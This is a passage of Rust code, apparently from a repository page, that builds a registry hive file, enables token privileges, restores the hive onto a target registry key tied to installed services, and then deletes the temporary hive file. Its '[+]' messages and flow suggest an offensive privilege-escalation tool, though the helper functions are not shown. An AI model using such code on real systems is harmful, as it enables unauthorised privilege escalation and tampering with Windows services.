println!("[+] Successfully created and saved hive file");
|
||||
}
|
||||
Err(e) => {
|
||||
println!("Failed to create and populate hive: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Enable required privileges
|
||||
match enable_required_privileges() {
|
||||
Ok(()) => {
|
||||
println!("[+] Token privileges configured successfully");
|
||||
}
|
||||
Err(e) => {
|
||||
println!("Failed to enable required privileges: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Restore hive to target registry key
|
||||
println!("\n[+] Restoring to registry key: {}", target_key);
|
||||
match restore_from_hive("restore_hive.hive", &target_key) {
|
||||
Ok(()) => {
|
||||
println!("[+] Successfully restored hive to registry");
|
||||
}
|
||||
Err(e) => {
|
||||
println!("Failed to restore from hive: {}", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Clean up hive file
|
||||
let temp_dir = std::env::var("LOCALAPPDATA")
|
||||
.or_else(|_| std::env::var("TEMP"))
|
||||
.unwrap_or_else(|_| "C:\\Temp".to_string());
|
||||
|
||||
let mut hive_path = PathBuf::from(temp_dir);
|
||||
hive_path.push("Temp");
|
||||
hive_path.push("restore_hive.hive");
|
||||
|
||||
if let Err(e) = std::fs::remove_file(&hive_path) {
|
||||
println!("Warning: Failed to delete hive file: {}", e);
|
||||
} else {
|
||||
println!("[+] Cleaned up hive file in temp folder");
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("Failed to get installed services: {e}");
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user